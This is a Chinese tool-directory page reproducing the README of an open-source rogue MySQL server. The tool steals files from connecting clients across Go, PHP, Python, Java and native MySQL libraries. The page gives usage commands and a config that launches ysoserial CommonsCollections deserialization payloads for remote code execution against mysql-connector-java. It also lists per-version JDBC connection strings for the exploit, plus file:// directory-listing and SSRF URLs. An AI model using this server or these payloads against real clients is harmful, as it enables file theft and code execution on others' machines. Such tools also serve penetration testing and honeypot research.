百科.dev
全部条目AI 编程趋势榜开源项目技术资讯提交条目
登录
< 返回工具列表
R

rogue_mysql_server

> 数据库
开源

一个红色的 MySQL 服务器支持从多种编程语言的大多数 MySQL 库中读取文件。

771 stars0 点赞0 次浏览
访问官网GitHub

工具介绍

一个红色的 MySQL 服务器支持从多种编程语言的大多数 MySQL 库中读取文件。

Rogue Mysql Server

English README

基于 https://github.com/vitessio/vitess 实现的恶意 mysql 服务器, 支持利用漏洞从 go, php, python, java, 原生命令行等多种语言下的常见 mysql 库中读取文件.
远离恼人的兼容性问题, 测试过的客户端见下表

language library pass
go github.com/go-sql-driver/mysql ✔️
php mysqli, pdo ✔️
python pymysql ✔️
java mysql-connector-java ✔️
native 10.4.13-MariaDB ✔️

觉得好用可以点右上方的 支持作者

功能

  • 可以兼容多种 mysql 客户端
  • 可以读取二进制文件
  • 自动保存文件
  • 作为蜜罐使用时, 可选择开启帐号密码验证
  • 读取客户端的 ConnAttr, 可能会包含一些客户端的额外信息
  • 对于 mysql-connector-java, 在可控链接串的情况下可以利用反序列化漏洞进行 RCE

使用

在当前目录下生成配置文件模版, 如果已有配置文件可以跳过这一步

./rogue_mysql_server -generate

运行服务器, 使用刚刚生成的 config.yaml

./rogue_mysql_server

或者手动指定配置路径

./rogue_mysql_server -config other_config.yaml

配置文件

示例:

…

yaml jdbc_exploit: false always_exploit: false ysoserial_command: cc4: ["java", "-jar", "ysoserial-0.0.6-SNAPSHOT-all.jar", "CommonsCollections4", 'touch /tmp/cc4'] cc7: ["java", "-jar", "ysoserial-0.0.6-SNAPSHOT-all.jar", "CommonsCollections7", 'touch /tmp/cc7']

`jdbc_exploit` 代表这个功能开启, 在检测到客户端是 mysql-connector-j 的情况下会自动利用. 利用和读取文件只能同时开启一项, 开启利用会导致无法读取客户端的文件.  
`always_exploit` 代表不检测客户端是否为 mysql-connector-java, 总是开启漏洞利用.  
`ysoserial_command` 生成反序列化 payload 的命令.  

可以使用连接串中的 `connectionAttributes` 选项来指定需要使用的 payload, 这个选项可以指定任意连接属性. 服务器会读取连接属性中 `t` 的值来寻找对应的 payload. 如果未指定, 则默认使用提供的所有 payload 中的第一个.  

例如, 如果使用上述的示例配置:  
在 8.x 版本下要使用 cc7, 连接串为 `jdbc:mysql://127.0.0.1:3306/test?connectionAttributes=t:cc7&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&password=password`

另外需要注意只支持 `com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor` 的利用方法, 可以参考下表:  

| version  | jdbc connection string                                                                                                                                                                                   |
|----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 8.x      | jdbc:mysql://127.0.0.1:3306/test?connectionAttributes=t:{payload_name}&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&password=password     |
| 6.x      | jdbc:mysql://127.0.0.1:3306/test?connectionAttributes=t:{payload_name}&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&password=password |
| >=5.1.11 | jdbc:mysql://127.0.0.1:3306/test?connectionAttributes=t:{payload_name}&autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&password=password    |

另外如果需要读文件, mysql-connector-java 支持使用 `file://` 列目录 (当然其他协议, 例如 http 来 SSRF 也是可以的), 但是需要在 `allowLoadLocalInfile` 为 true 之外, 额外指定 `allowUrlInLocalInfile` 为 true, 详情见[这里](https://github.com/mysql/mysql-connector-j/blob/dd61577595edad45c398af508cf91ad26fc4144f/src/main/protocol-impl/java/com/mysql/cj/protocol/a/NativeProtocol.java#L1877)  
E.g.
* 列 `/` 目录, `jdbc:mysql://127.0.0.1:3306/file%3A%2F%2F%2F?allowLoadLocalInfile=true&allowUrlInLocalInfile=true`
* SSRF `http://127.0.0.1:25565`, `jdbc:mysql://127.0.0.1:3306/http%3A%2F%2F127.0.0.1:25565?allowLoadLocalInfile=true&allowUrlInLocalInfile=true`

## Ref

mysql-connector-java 漏洞利用:  
https://github.com/fnmsd/MySQL_Fake_Server

mysql 协议相关:  
https://github.com/mysql/mysql-connector-j  
https://github.com/vitessio/vitess  
https://github.com/src-d/go-mysql-server  
http://scz.617.cn:8/network/202001101612.txt

Issues· 0 开放

查看全部 Issues在 GitHub 打开

暂无开放 Issues,或尚未同步最近议题。

> 标签

Goexpliotmysqlvulnerability

暂无评论,来聊聊你的看法吧

> 工具信息

发布日期2026年8月1日
最后更新2026年9月17日
分类数据库
定价开源

> 相关工具

P
PostgreSQL
功能强大的开源关系型数据库
R
Redis
内存数据结构存储,常用作缓存与队列
M
MySQL
广泛使用的开源关系型数据库